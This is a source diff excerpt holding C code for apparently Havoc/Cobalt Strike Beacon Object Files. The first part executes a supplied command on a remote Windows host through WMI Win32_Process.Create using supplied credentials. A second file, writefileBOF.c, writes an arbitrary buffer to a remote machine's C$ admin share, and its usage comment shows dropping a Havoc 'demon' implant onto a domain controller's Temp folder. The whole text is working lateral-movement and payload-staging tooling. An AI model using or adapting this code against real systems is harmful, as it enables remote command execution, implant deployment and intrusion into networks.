BeaconDataParse(&parser, buff, len);
{
bwtarget2 = (wchar_t*)BeaconDataExtract(&parser, NULL);
bwdomain = (wchar_t*)BeaconDataExtract(&parser, NULL);
bwusername = (wchar_t*)BeaconDataExtract(&parser, NULL);
bwpassword = (wchar_t*)BeaconDataExtract(&parser, NULL);
bwcommandline = (wchar_t*)BeaconDataExtract(&parser, NULL);
IsCurrent = BeaconDataInt(&parser);
}
/*
BeaconPrintf(CALLBACK_OUTPUT, "bwtarget2: %s", bwtarget2);
BeaconPrintf(CALLBACK_OUTPUT, "bwdomain: %s", bwdomain);
BeaconPrintf(CALLBACK_OUTPUT, "bwusername: %s", bwusername);
BeaconPrintf(CALLBACK_OUTPUT, "bwpassword: %s", bwpassword);
BeaconPrintf(CALLBACK_OUTPUT, "bwcommandline: %s", bwcommandline);
BeaconPrintf(CALLBACK_OUTPUT, "IsCurrent: %d", IsCurrent);
*/
CreateCreds(&authInfo, &authidentity, bwusername, bwpassword, bwdomain, IsCurrent);
// Doesnt currently work but should let you use current context
if (IsCurrent == 0)
{
authidentity = NULL;
}
hr = OLE32$CoInitializeEx(0, COINIT_APARTMENTTHREADED);
if (hr != RPC_E_CHANGED_MODE) {
if (FAILED(hr)) {
BeaconPrintf(CALLBACK_ERROR, "CoInitializeEx failed: 0x%08lx", hr);
return;
}
}
hr = OLE32$CoCreateInstance(Cwbm, 0, CLSCTX_INPROC_SERVER, Iwbm, (void**)&locator);
if (!SUCCEEDED(hr)) {
BeaconPrintf(CALLBACK_ERROR, "CoCreateInstance failed: 0x%08x", hr);
return;
}
// Take formatted target, user and password from beacon
BSTR srv = OLEAUT32$SysAllocString(bwtarget2);
BSTR usr = OLEAUT32$SysAllocString(bwusername);
BSTR pass = OLEAUT32$SysAllocString(bwpassword);
hr = locator->ConnectServer(srv, NULL, NULL, 0, WBEM_FLAG_CONNECT_USE_MAX_WAIT, 0, 0, &pSvc);
if (!SUCCEEDED(hr)) {
BeaconPrintf(CALLBACK_ERROR, "ConnectServer failed: 0x%08x", hr);
return;
}
hr = OLE32$CoSetProxyBlanket(pSvc, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL, RPC_C_AUTHN_LEVEL_CALL, RPC_C_IMP_LEVEL_IMPERSONATE, authidentity, EOAC_NONE);
if (!SUCCEEDED(hr)) {
BeaconPrintf(CALLBACK_ERROR, "CoSetProxyBlanket failed: 0x%08x", hr);
return;
}
BSTR wcClassName = OLEAUT32$SysAllocString(L"Win32_Process"); //Class name
BSTR wcMethodName = OLEAUT32$SysAllocString(L"Create"); //Class name
BSTR wcStartup = OLEAUT32$SysAllocString(L"Win32_ProcessStartup"); //Class name
hr = pSvc->GetObject(wcClassName, 0, NULL, &pClass, NULL);
if (!SUCCEEDED(hr)) {
BeaconPrintf(CALLBACK_ERROR, "GetObject failed: 0x%08x", hr);
return;
}
//pInParamsDefinition will receive the paramters signature for the Win32_Process.Create(...) method. We should fill these params and call the method
//We cannot ignore this step because the "Put" method later on will check for the parameter names.
hr = pClass->GetMethod(wcMethodName, 0, &pInParamsDefinition, NULL);
if (!SUCCEEDED(hr)) {
BeaconPrintf(CALLBACK_ERROR, "GetMethod failed: 0x%08x", hr);
return;
}
//We will fill the parameters in the pParamsInstance instance
hr = pInParamsDefinition->SpawnInstance(0, &pParamsInstance);
if (!SUCCEEDED(hr)) {
BeaconPrintf(CALLBACK_ERROR, "SpawnInstance failed: 0x%08x", hr);
return;
}
//Getting the Win32_ProcessStartup class definition. One of the parameters to the Win32_Process.Create() is a of type Win32_ProcessStartup, so we must create an object of that type and fill it
hr = pSvc->GetObject(wcStartup, 0, NULL, &pStartupObject, NULL);
if (!SUCCEEDED(hr)) {
BeaconPrintf(CALLBACK_ERROR, "GetObject2 failed: 0x%08x", hr);
return;
}
hr = pStartupObject->SpawnInstance(0, &pStartupInstance); //Create an instance of Win32_ProcessStartup
if (!SUCCEEDED(hr)) {
BeaconPrintf(CALLBACK_ERROR, "SpawnInstance2 failed: 0x%08x", hr);
return;
}
//Let's now fill the the pStartupInstance instance, remember that after we fill it, we need to add it to the pParamsInstance
//Filling the pStartupInstance
{
BSTR wcProcessStartupInfo = OLEAUT32$SysAllocString(L"ProcessStartupInformation");
{
BSTR wcShowWindow = OLEAUT32$SysAllocString(L"ShowWindow"); //This is the name of the propoerty, we can't change it!
//Arg: create the arg
VARIANT varParams;
OLEAUT32$VariantInit(&varParams);
varParams.vt = VT_I2;
varParams.intVal = SW_SHOW;
//Pass the arg to the Win32_ProcessStartup instance and clean it
hr = pStartupInstance->Put(wcShowWindow, 0, &varParams, 0);
OLEAUT32$VariantClear(&varParams);
//Free String in Mem
OLEAUT32$SysFreeString(wcShowWindow);
}
VARIANT vtDispatch;
OLEAUT32$VariantInit(&vtDispatch);
vtDispatch.vt = VT_DISPATCH;
vtDispatch.byref = pStartupInstance;
hr = pParamsInstance->Put(wcProcessStartupInfo, 0, &vtDispatch, 0);
//Free String in mem
OLEAUT32$SysFreeString(wcProcessStartupInfo);
}
//Handling command execution
{
//Arg: the command to be executed
BSTR wcCommandLine = OLEAUT32$SysAllocString(L"CommandLine"); //This is the name of the propoerty, we can't change it!
//BSTR wcCommandExecute = OLEAUT32$SysAllocString(L"cmd.exe /c \"whoami > c:\\wmi2.txt\"");
BSTR wcCommandExecute = OLEAUT32$SysAllocString(bwcommandline);
VARIANT varCommand;
OLEAUT32$VariantInit(&varCommand);
varCommand.vt = VT_BSTR;
varCommand.bstrVal = wcCommandExecute;
//Store the arg in the Win32_ProcessStartup and clean it
hr = pParamsInstance->Put(wcCommandLine, 0, &varCommand, 0);
varCommand.vt = VT_BSTR;
varCommand.bstrVal = NULL;
OLEAUT32$VariantClear(&varCommand);
//Free Strings
OLEAUT32$SysFreeString(wcCommandLine);
OLEAUT32$SysFreeString(wcCommandExecute);
}
{
BSTR wcCurrentDirectory = OLEAUT32$SysAllocString(L"CurrentDirectory"); //This is the name of the propoerty, we can't change it!
VARIANT varCurrentDir;
OLEAUT32$VariantInit(&varCurrentDir);
varCurrentDir.vt = VT_BSTR;
varCurrentDir.bstrVal = NULL;
//Store the value for the in parameters
hr = pParamsInstance->Put(wcCurrentDirectory, 0, &varCurrentDir, 0);
OLEAUT32$VariantClear(&varCurrentDir);
//Free String
OLEAUT32$SysFreeString(wcCurrentDirectory);
}
//Execute Method
IWbemClassObject* pOutParams = NULL;
hr = pSvc->ExecMethod(wcClassName, wcMethodName, 0, NULL, pParamsInstance, &pOutParams, NULL);
if (!SUCCEEDED(hr)) {
BeaconPrintf(CALLBACK_ERROR, "ExecMethod failed: 0x%08x", hr);
return;
}
if (SUCCEEDED(hr)) {
BeaconPrintf(CALLBACK_OUTPUT, "ExecMethod Succeeded!");
}
hr = S_OK;
// Free Strings in mem
OLEAUT32$SysFreeString(Iwbmstr);
OLEAUT32$SysFreeString(Cwbmstr);
OLEAUT32$SysFreeString(srv);
OLEAUT32$SysFreeString(usr);
OLEAUT32$SysFreeString(pass);
OLEAUT32$SysFreeString(wcClassName);
OLEAUT32$SysFreeString(wcMethodName);
OLEAUT32$SysFreeString(wcStartup);
}
+89
View File
@@ -0,0 +1,89 @@
// x86_64-w64-mingw32-gcc -c writefileBOF.c -w -o /share/writeFileBOF.x64.o
// DiskLoader writefile dc1 /root/demon.x64.exe C:\Windows\Temp\ok.exe
#include <windows.h>
#include <stdio.h>
#include "beacon.h"
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileA(
LPCSTR lpFileName,
DWORD dwDesiredAccess,
DWORD dwShareMode,
LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes,
HANDLE hTemplateFile
);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteFile(
HANDLE hFile,
LPCVOID lpBuffer,
DWORD nNumberOfBytesToWrite,
LPDWORD lpNumberOfBytesWritten,
LPOVERLAPPED lpOverlapped
);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle(
HANDLE hObject
);
DECLSPEC_IMPORT void WINAPI KERNEL32$Sleep(
DWORD dwMilliseconds
);
WINBASEAPI int __cdecl MSVCRT$sprintf(char *__stream, const char *__format, ...);
WINBASEAPI int __cdecl MSVCRT$strlen(const char *str);
void go(char * args, int length) {
datap parser;
char * targetHost;
char * remotePath;
size_t dwBytesToWrite;
BeaconDataParse(&parser, args, length);
targetHost = BeaconDataExtract(&parser, NULL);
remotePath = BeaconDataExtract(&parser, NULL);
dwBytesToWrite = BeaconDataInt(&parser);
unsigned char * DataBuffer = BeaconDataExtract(&parser, NULL);
/* debug arguments passed from havoc module
BeaconPrintf(CALLBACK_OUTPUT, "targetHost: %s", targetHost);
BeaconPrintf(CALLBACK_OUTPUT, "remotePath: %s", remotePath);
BeaconPrintf(CALLBACK_OUTPUT, "dwBytesToWrite: %d", dwBytesToWrite);
*/
HANDLE hFile;
char filePath[500];
MSVCRT$sprintf(filePath, "\\\\%s\\C$%s", targetHost, remotePath);
DWORD dwBytesWritten = 0;
BOOL bErrorFlag = FALSE;
hFile = KERNEL32$CreateFileA(filePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
BeaconPrintf(CALLBACK_OUTPUT, "Terminal failure: Unable to open file \"%s\" for write.\n", filePath);
return;
}
bErrorFlag = KERNEL32$WriteFile(hFile, DataBuffer, dwBytesToWrite, &dwBytesWritten, NULL);
if (FALSE == bErrorFlag)
{
BeaconPrintf(CALLBACK_OUTPUT, "Terminal failure: Unable to write to file.\n");
}
else
{
if (dwBytesWritten != dwBytesToWrite)
{
BeaconPrintf(CALLBACK_OUTPUT, "Error: dwBytesWritten != dwBytesToWrite\n");
}
else
{
BeaconPrintf(CALLBACK_OUTPUT, "Wrote %d bytes to %s successfully.\n", dwBytesWritten, filePath);
}
}
KERNEL32$CloseHandle(hFile);
return 0;
}